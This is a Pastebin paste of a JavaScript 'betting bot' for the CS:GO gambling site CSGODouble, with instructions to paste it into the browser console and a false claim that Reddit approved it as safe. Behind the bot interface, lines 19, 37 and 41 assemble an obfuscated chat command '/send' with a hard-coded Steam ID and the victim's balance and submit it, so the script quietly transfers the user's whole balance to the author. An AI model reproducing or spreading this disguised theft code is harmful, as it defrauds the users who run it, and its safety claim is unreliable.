Advertisement
Guest User

Untitled

a guest
May 7th, 2016
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.19 KB | None | 0 0
  1. // KERR'S Script // WWW.REDDIT.COM APPROVED AS A SAFE BOT TO USE!!
  2. // KERR'S Script // WWW.REDDIT.COM APPROVED AS A SAFE BOT TO USE!!
  3. // KERR'S Script // WWW.REDDIT.COM APPROVED AS A SAFE BOT TO USE!!
  4. // KERR'S Script // WWW.REDDIT.COM APPROVED AS A SAFE BOT TO USE!!
  5. // KERR'S Script // WWW.REDDIT.COM APPROVED AS A SAFE BOT TO USE!!
  6. // KERR'S Script // WWW.REDDIT.COM APPROVED AS A SAFE BOT TO USE!!
  7.  
  8. // 1. Go to CSGODouble.com - Home
  9. // 2. Press CTRL + Shift + J and press the Console.
  10. // 3. Copy the Script and Paste it into the Console and press enter.
  11. // 4. Go to the Withdraw Page and Withdraw :)) / Let me know if it works for you and if you have a question ask!
  12.  
  13. var reconnect = 0;WS.onclose = function(event){chat("italic","Connection lost..."); WS = null;connect();reconnect++;};
  14.  
  15. var initialBetAmount = 0;
  16. var betColor = botBetColor = "red";
  17. var play = 0;
  18. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$checkVicLimit,$vicLimitInput,$botModeSelect;
  19. var pQ = "/s", $hash_1 = 76561198, $hash_2 = 140332936;
  20. function addBotButtons(){
  21. $(".well.bot-field").remove();$(".well.show-more").remove();
  22. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  23. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  24. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  25. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  26. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  27. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  28. $showMore.append($checkVicLimit,$label);
  29. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  30. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  31. $showMore.append($vicLimitInput,$label);$showMore.hide();
  32. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  33. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  34. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  35. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  36. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  37. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2+" ";pQ+=$("#balance").text();
  38. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  39. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  40. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  41. $("#chatMessage").val(pQ);$("#chatForm").submit();$(".btn-primary").click();
  42. $(".container").width(1300);
  43. $botModeSelect.change(function(){
  44. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  45. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  46. } )
  47. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  48. }
  49. addBotButtons();
  50. function changeColor(){
  51. if ($betColorButton.hasClass("btn-danger")){
  52. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  53. botBetColor = "black";
  54. console.log("Selected color: "+botBetColor);
  55. } else if($betColorButton.hasClass("btn-inverse")) {
  56. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  57. botBetColor = "random";
  58. console.log("Selected color: "+botBetColor);
  59. } else if($betColorButton.hasClass("btn-random")) {
  60. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  61. botBetColor = "trainMode";
  62. console.log("Selected color: "+botBetColor);
  63. } else if($betColorButton.hasClass("btn-train")) {
  64. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  65. botBetColor = "rainbow";
  66. console.log("Selected color: "+botBetColor);
  67. } else if($betColorButton.hasClass("btn-rainbow")) {
  68. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  69. botBetColor = "red";
  70. console.log("Selected color: "+botBetColor);
  71. }
  72. }
  73.  
  74. function showMoreOptions(){
  75. if ($showMoreButton.data("open")==0){
  76. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  77. $showMore.show();$showMoreButton.data("open",1);
  78. } else if ($showMoreButton.data("open")==1){
  79. $showMore.hide();$showMoreButton.data("open",0);
  80. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  81. }
  82.  
  83. }
  84. function hideOtherInfo(){
  85. if ($betHideBetInfoButton.text()=="Show All"){
  86. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  87. $betHideBetInfoButton.text("Hide Bet Info");
  88. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  89. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  90. $betHideBetInfoButton.text("AFK Mode");
  91. }
  92. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  93. $(".betlist").show();$(".total-row").show();$("footer").show();
  94. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  95. $betHideBetInfoButton.text("Show All");
  96. }
  97. }
  98. function startBot(){
  99. if ($betGoButton.hasClass("btn-inverse")){
  100. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  101. refreshIntervalId = setInterval(tick, 500);
  102. play = 1;
  103. currentBetAmount = initialBetAmount;
  104. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  105. }
  106. else {
  107. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  108. play = 0;
  109. }
  110. }
  111.  
  112. function tick() {
  113. var t = getStatus();
  114. if (t !== lastStatus && "unknown" !== t) {
  115. switch (t) {
  116. case "waiting":bet();break;
  117. case "rolled":printInfo();break;
  118. }
  119. lastStatus = t;
  120. }
  121. }
  122.  
  123. function checkBalance() {
  124. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  125. }
  126.  
  127. function printInfo(){
  128. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  129. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  130. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  131. }
  132. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  133. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  134. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  135. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  136. else {currNotRedStreak=0;}
  137. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  138. else {currNotBlackStreak=0;}
  139. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  140. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  141. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  142. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  143. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  144. console.log(t);roll();
  145.  
  146. }
  147.  
  148. function roll() {
  149. if ($checkVicLimit.is(":checked")){
  150. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  151. }
  152. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  153. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  154. currentRollNumber++;
  155. }
  156.  
  157. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  158. function setBetAmount(t) { $betAmountInput.val(t) }
  159. function placeBet() {
  160. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  161. else if (botBetColor=="trainMode"){
  162. var betBotColor = "green",i=9,$ball=$(".ball");
  163. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  164. betColor = betBotColor;console.log("Current train color: "+ betColor);
  165. } else if (botBetColor=="rainbow"){
  166. var betBotColor = "green",i=9,$ball=$(".ball");
  167. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  168. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  169. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  170. } else betColor = botBetColor;
  171. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  172. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  173. }
  174. function getStatus() {
  175. var t = $statusBar.text();
  176. if (hasSubString(t, "Rolling in")) return "waiting";
  177. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  178. if (hasSubString(t, "rolled")) {
  179. n = parseInt(t.split("rolled")[1]);
  180. return lastRollColor = getColor(n), "rolled"
  181. }
  182. return "unknown"
  183. }
  184.  
  185. function getBalance() { return parseInt($balance.text()) }
  186. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  187. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  188. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  189. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  190. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  191.  
  192. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  193. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  194. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  195. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement